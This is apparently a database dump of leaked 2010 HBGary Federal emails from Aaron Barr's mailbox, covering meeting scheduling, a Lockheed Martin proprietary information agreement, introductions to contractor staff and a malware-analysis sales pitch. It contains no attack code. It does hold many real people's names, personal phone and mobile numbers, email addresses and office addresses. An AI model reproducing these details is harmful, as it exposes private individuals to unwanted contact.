LLC, providing a full \r\nrange of security consulting services to US Federal, Global Public Sector and \r\nCommercial clients. Former Principal, Deloitte &amp; Touche, LLP Security and \r\nPrivacy Practice. Former Director at PricewaterhouseCoopers, LLP, within the \r\nWashington Federal Practice. Former Director of Information Assurance, General \r\nDynamics Network Systems, National and Defense Intelligence Solutions and former \r\nDirector of the Federal Security Practice at Unisys Corporation. Information \r\nWarfare Officer for the Naval Reserve Network Warfare Command. Former active \r\nduty Naval Cryptology Officer. CISSP. \r\n&nbsp;-- Maria Lucas, CISSP | Account Executive | \r\nHBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 \r\nFax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',8019,'aaron_hbgary_com/8019.html'),(2046,'2010-02-04','\"Junod, Michael F\" <michael.f.junod@lmco.com>','/aaron@hbgary.com/new/1297000833.M755034P3547Q2047.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Proprietary Information Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal  - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThat would be Ok as well.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, February 04, 2010 5:13 PM\r\nTo: Junod, Michael F\r\nCc: Ted Vera; Bob Slapnik; Mendenhall, Henry; Waitman, Ross D\r\nSubject: Re: Proprietary Information Agreement (PIA) w/ HB Gary Federal\r\nre Cyber Genome Proposal - Lockheed Martin Proprietary Information\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI would like to bring a few other folks onto the call.\r\n&nbsp;I can set up a teleconference if that would be easiest.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 5:10 PM, Junod, Michael F wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThat time will work for us, do you want to call me at\r\n856-792-9768 at 2:00?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, February\r\n04, 2010 4:42 PM\r\nTo:&nbsp;Junod, Michael F\r\nCc:&nbsp;Ted Vera; Bob Slapnik\r\nSubject:&nbsp;Re: Proprietary\r\nInformation Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal -\r\nLockheed Martin Proprietary Information\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow about tomorrow afternoon, say about 2pm EST?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 12:08 PM, Junod, Michael F wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen would you be available for discussions?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike Junod\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nManager, Advanced Concepts Laboratory\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Lockheed Martin\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Advanced Technology Laboratories (ATL)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; 3 Executive Campus, Suite 600\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Cherry Hill, NJ 08002\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Email:&nbsp;mjunod@atl.lmco.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Voice: (856) 792-9768\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Mobile: (215) 519-4253\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Korinok, Andrea\r\n(N-ATL)&nbsp;\r\nSent:&nbsp;Tuesday, February\r\n02, 2010 1:58 PM\r\nTo:&nbsp;\'Aaron Barr\'\r\nCc:&nbsp;Miksch, Daniel J;\r\nJunod, Michael F\r\nSubject:&nbsp;RE: Proprietary\r\nInformation Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal -\r\nLockheed Martin Proprietary Information\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMr.\r\nBarr,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached\r\nis our fully executed agreement. Please note that I inserted today&#8217;s date\r\nbelow your title line, as this was missing in the partially executed .pdf\r\nversion that you sent to me.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIf\r\nyou have any questions or concerns, please feel free to contact me.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAndrea\r\nKorinok\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness\r\nOperations &amp;&nbsp;Legal Support Specialist\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLockheed\r\nMartin / Advanced Technology Laboratories\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n3\r\nExecutive Campus, Suite 600\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCherry\r\nHill,&nbsp;NJ&nbsp;08002\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPhone:\r\n(856) 792-9707\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFax:\r\n(856) 792-9910\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEmail:&nbsp;andrea.korinok@lmco.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, February\r\n02, 2010 11:45 AM\r\nTo:&nbsp;Korinok, Andrea\r\n(N-ATL)\r\nSubject:&nbsp;Re: Proprietary\r\nInformation Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal -\r\nLockheed Martin Proprietary Information\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6788,'aaron_hbgary_com/6788.html'),(2047,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000833.M81496P3547Q2044.eml','nolan@informationsecuritysolutionsllc.com','Re: Services contract for commercial IR services','Sounds good for tomorrow. &nbsp;You still open?AaronOn Feb 2, 2010, at 2:25 PM, nolan@informationsecuritysolutionsllc.com wrote:Same here, perhaps coffee either morning in the Reston area?Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 2 Feb 2010 11:13:44 -0700To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesWhats your schedule like next week. &nbsp;My best availability is on Thursday and Friday.AaronOn Jan 25, 2010, at 10:04 AM, nolan@informationsecuritysolutionsllc.com wrote:Darn, those days are packed for me. What about the week of the 8th?Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Mon, 25 Jan 2010 11:44:58 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesHi Nolan,Tuesday and Friday are my packed days this week. &nbsp;Any free time on Wed/Thurs?AaronOn Jan 21, 2010, at 6:01 PM, nolan@informationsecuritysolutionsllc.com wrote:Aaron,How does 11 on Tuesday look for you? Where are you at most of the time? Would coffee at Cosi in the Reston Town Center be easy?Thanks,NolanSent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 21 Jan 2010 08:48:18 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesNolan,Ted is out in the Springs, but how about we meet next week. &nbsp;Any days better than others?AaronOn Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n\r\nThanks Maria.\r\n&nbsp;\r\nAaron and Ted - I could link up in person next week if you \r\nguys are interested.\r\n&nbsp;\r\nBest,\r\nNolan\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Tuesday, January 19, 2010 4:51 PMTo: Aaron Barr; \r\nTed@hbgary.comCc: \r\nnolan@informationsecuritysolutionsllc.comSubject: Re: Services \r\ncontract for commercial IR services\r\n\r\nAaron / Ted\r\n&nbsp;\r\nI spoke today with Nolan Clifford.&nbsp; He may&nbsp;be helpful&nbsp;with \r\nthe contract terms for IR Services.&nbsp; Nolan has an NDA with HBGary.\r\n&nbsp;\r\nNolan is available later this week or next to meet or speak with on the \r\nphone:\r\n&nbsp;\r\nYou may reach Nolan at (703) 945-7480.&nbsp; Nolan is expecting your \r\ncall.\r\n&nbsp;\r\nMaria\r\n&nbsp;\r\nNolan Clifford Bio\r\nCEO of Information Security Solutions LLC, providing a full \r\nrange of security consulting services to US Federal, Global Public Sector and \r\nCommercial clients. Former Principal, Deloitte &amp; Touche, LLP Security and \r\nPrivacy Practice. Former Director at PricewaterhouseCoopers, LLP, within the \r\nWashington Federal Practice. Former Director of Information Assurance, General \r\nDynamics Network Systems, National and Defense Intelligence Solutions and former \r\nDirector of the Federal Security Practice at Unisys Corporation. Information \r\nWarfare Officer for the Naval Reserve Network Warfare Command. Former active \r\nduty Naval Cryptology Officer. CISSP. \r\n&nbsp;-- Maria Lucas, CISSP | Account Executive | \r\nHBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 \r\nFax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1908,'aaron_hbgary_com/1908.html'),(2048,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000833.M968528P3547Q2048.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: Virtual Introduction','Absolutely.I have Thurs/Fri. wide open right now. &nbsp;Either of those work?AaronOn Feb 4, 2010, at 2:35 PM, Mulville, Michael E. wrote:Aaron –&nbsp;Any time possible next week ?&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Mulville, Michael E.&nbsp;Sent:&nbsp;Thursday, January 28, 2010 2:27 PMTo:&nbsp;Aaron BarrSubject:&nbsp;RE: Virtual Introduction&nbsp;Aaron –&nbsp;How does 2 PM sound on Feb 4th&nbsp;(Thursday )?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 28, 2010 1:43 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;How does next Thursday work? &nbsp;It shows I responded to you already but not sure what I responded with...a bit crazy here as well. :)&nbsp;AaronOn Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:&nbsp;Aaron –&nbsp;Thanks for the note back.&nbsp; This week is a bit crazy,&nbsp; how about next ?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 11:29 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;I actually didn\'t head out to DC3. &nbsp;I will be out in Colorado Springs most of next week. &nbsp;How does your week this week look. &nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?&nbsp;Aaron&nbsp;&nbsp;On Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:Matt –&nbsp;Thanks for the introduction.&nbsp;Aaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.&nbsp;I assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.&nbsp;Thanks – Mike Mulville&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Matt O\'Flynn [mailto:matt@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 21, 2010 1:50 PMTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron Barr\'Subject:&nbsp;Virtual Introduction&nbsp;Mike &amp; Michael,&nbsp;Good seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.&nbsp;Aaron Barr719-510-8478-Cell&nbsp;Mike Mulville703-622-9121&nbsp;Michael Courtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;443-306-5683&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934www.hbgary.com&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8349,'aaron_hbgary_com/8349.html'),(2049,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000834.M552598P3547Q2049.eml','\"Steve Winterfeld\" <winterfeldsj@gmail.com>','Can you send me contact info (email)','For the people that attended our brief the other day?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12231,'aaron_hbgary_com/12231.html'),(2050,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000834.M776209P3547Q2050.eml','\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>','Re: Contacts','Hi Irene,Thanks for the email. &nbsp;For some reason only the first vcard came through, Soo Kim.Thanks,AaronOn Feb 4, 2010, at 3:43 PM, Harris, Irene G (TASC Inc) wrote:Aaron,Here is the contact information requested.&nbsp;Irene703-633-8473&lt;Soo Kim.vcf&gt;From:&nbsp;\"Harris, Irene G (TASC Inc)\" &lt;irene.harris@TASC.COM&gt;Date:&nbsp;February 4, 2010 3:33:32 PM ESTSubject:&nbsp;Stephen SuttonFrom:&nbsp;\"Harris, Irene G (TASC Inc)\" &lt;irene.harris@TASC.COM&gt;Date:&nbsp;February 4, 2010 3:32:08 PM ESTSubject:&nbsp;Richard RosenthalFrom:&nbsp;\"Harris, Irene G (TASC Inc)\" &lt;irene.harris@TASC.COM&gt;Date:&nbsp;February 4, 2010 3:33:03 PM ESTSubject:&nbsp;Mariano Alicea\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6013,'aaron_hbgary_com/6013.html'),(2051,'2010-02-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000834.M983633P3547Q2051.eml','\"Aaron Barr\" <aaron@hbgary.com>','Monday','Aaron,\r\n \r\nI am free Monday am.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',10493,'aaron_hbgary_com/10493.html'),(2052,'2010-02-04','\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297000835.M324021P3547Q2052.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Contacts','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, will send again.\r\n\r\n&nbsp;\r\n\r\nIrene\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, February 04, 2010 5:22 PM\r\nTo: Harris, Irene G (TASC Inc)\r\nSubject: Re: Contacts\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Irene,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for the email. &nbsp;For some reason only the first\r\nvcard came through, Soo Kim.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 3:43 PM, Harris, Irene G (TASC Inc)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nis the contact information requested.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIrene\r\n\r\n\r\n\r\n\r\n\r\n703-633-8473\r\n\r\n\r\n\r\n\r\n\r\n&lt;Soo\r\nKim.vcf&gt;\r\n\r\n\r\n\r\nFrom:&nbsp;&quot;Harris,\r\nIrene G (TASC Inc)&quot; &lt;irene.harris@TASC.COM&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;February 4, 2010\r\n3:33:32 PM EST\r\n\r\n\r\n\r\n\r\n\r\nSubject:&nbsp;Stephen Sutton\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;&quot;Harris,\r\nIrene G (TASC Inc)&quot; &lt;irene.harris@TASC.COM&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;February 4, 2010\r\n3:32:08 PM EST\r\n\r\n\r\n\r\n\r\n\r\nSubject:&nbsp;Richard Rosenthal\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;&quot;Harris,\r\nIrene G (TASC Inc)&quot; &lt;irene.harris@TASC.COM&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;February 4, 2010\r\n3:33:03 PM EST\r\n\r\n\r\n\r\n\r\n\r\nSubject:&nbsp;Mariano Alicea\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3481,'aaron_hbgary_com/3481.html'),(2053,'2010-02-04','\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297000835.M547781P3547Q2053.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\nIrene Harris \r\nExecutive\r\nAssistant to Albert A. Pisani, Vice President\r\nIntelligence Operations Business Unit \r\nOffice:\r\n703-633-8473 \r\nBB:\r\n703-201-7718\r\n\r\nFax:\r\n703-449-3999\r\n\r\nirene.harris@ngc.com \r\n----------------------------------- \r\n\r\n4807\r\nStonecroft Boulevard\r\n\r\nChantilly,\r\nVA 20151\r\n\r\n\r\n&nbsp;\r\n\r\nThis e-mail, including attachments, is intended for the\r\nexclusive use of the person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is not the\r\nintended recipient or his or her authorized agent, the reader is hereby\r\nnotified that any dissemination, distribution or copying of this e-mail is\r\nprohibited. If you think that you have received this e-mail in error, please\r\nadvise the sender by reply e-mail of the error and then delete this e-mail\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9617,'aaron_hbgary_com/9617.html'),(2054,'2010-02-04','\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297000835.M772064P3547Q2054.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\nIrene Harris \r\nExecutive\r\nAssistant to Albert A. Pisani, Vice President\r\nIntelligence Operations Business Unit \r\nOffice:\r\n703-633-8473 \r\nBB:\r\n703-201-7718\r\n\r\nFax:\r\n703-449-3999\r\n\r\nirene.harris@ngc.com \r\n----------------------------------- \r\n\r\n4807\r\nStonecroft Boulevard\r\n\r\nChantilly,\r\nVA 20151\r\n\r\n\r\n&nbsp;\r\n\r\nThis e-mail, including attachments, is intended for the\r\nexclusive use of the person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is not the\r\nintended recipient or his or her authorized agent, the reader is hereby\r\nnotified that any dissemination, distribution or copying of this e-mail is\r\nprohibited. If you think that you have received this e-mail in error, please\r\nadvise the sender by reply e-mail of the error and then delete this e-mail\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',389,'aaron_hbgary_com/389.html'),(2055,'2010-02-04','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297000836.M314929P3547Q2056.eml','\"Barr Aaron\" <aaron@hbgary.com>','Google Asks N.S.A. to Investigate Cyberattacks - NYTimes.com','We should exercise our contacts and see if we can help. Share the  \r\nanalysis we\'ve started.\r\n\r\n\r\nhttp://www.nytimes.com/2010/02/05/science/05google.html?partner=rss&emc=rss\r\n\r\n\r\n\r\n',3030,'aaron_hbgary_com/3030.html'),(2056,'2010-02-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000836.M491970P3547Q2057.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Responder and Digital DNA','Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: February 4, 2010 4:22:45 PM MSTTo: &quot;Sandoval Jr, Jose (TASC Inc)&quot; &lt;jose.sandoval@tasc.com&gt;Subject: Re: Responder and Digital DNA\r\nThat&#39;s a shame. If you have some budget we may be able to help you puttogether a smaller architecture that will allow you to churn through\r\nthat massive pile of malware MUCH faster than you can currently...TedOn Feb 4, 2010, at 3:13 PM, &quot;Sandoval Jr, Jose (TASC Inc)&quot;\r\n&lt;jose.sandoval@TASC.COMwrote:\r\nGuys are reviewing what tools we have.  No go on the file exchange.Justcan&#39;t do that and that is what I thought.  Too much sensitive data\r\nthere.-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]Sent: Thursday, February 04, 2010 4:02 PM\r\nTo: Sandoval Jr, Jose (TASC Inc)Subject: Re: Responder and Digital DNA\r\nHey Jose,Any word back yet?\r\nTedOn Wed, Feb 3, 2010 at 11:19 AM, Sandoval Jr, Jose (TASC Inc)\r\n&lt;jose.sandoval@tasc.com&gt; wrote:Ted, thanks for taking the time today to talk to me about the two\r\nproductsthat could help us do our job at the 92d.  I believe we already\r\nhave theDigital DNA, but have had challenges on implementing it on our\r\nassessments.Per our discussion, cc’d in this email is Karl Kamin and Patrick P\r\nowell.Karl would probably be best at discussing our unique mission set and\r\ncurrentapproaches.  When I return back to work tomorrow, I plan on meeting\r\nwiththeteam to discuss the technical issues and possible solutions.  Most\r\nimportantly, if the customer will allow, I would like to send you the\r\nbinaries we have to see what you will be able to produce out of that.Zeroday finds would be the proof we are looking for.\r\nThanks.  More to follow.\r\nJose Sandoval\r\n92 IOS Program Manager\r\n210-422-2046 (cell)\r\n210-925-2209 (site)\r\n--Ted H. VeraPresident | COO\r\nHBGary Federal719-237-8623\r\n',15307,'aaron_hbgary_com/15307.html'),(2057,'2010-02-04','\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297000836.M50158P3547Q2055.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape 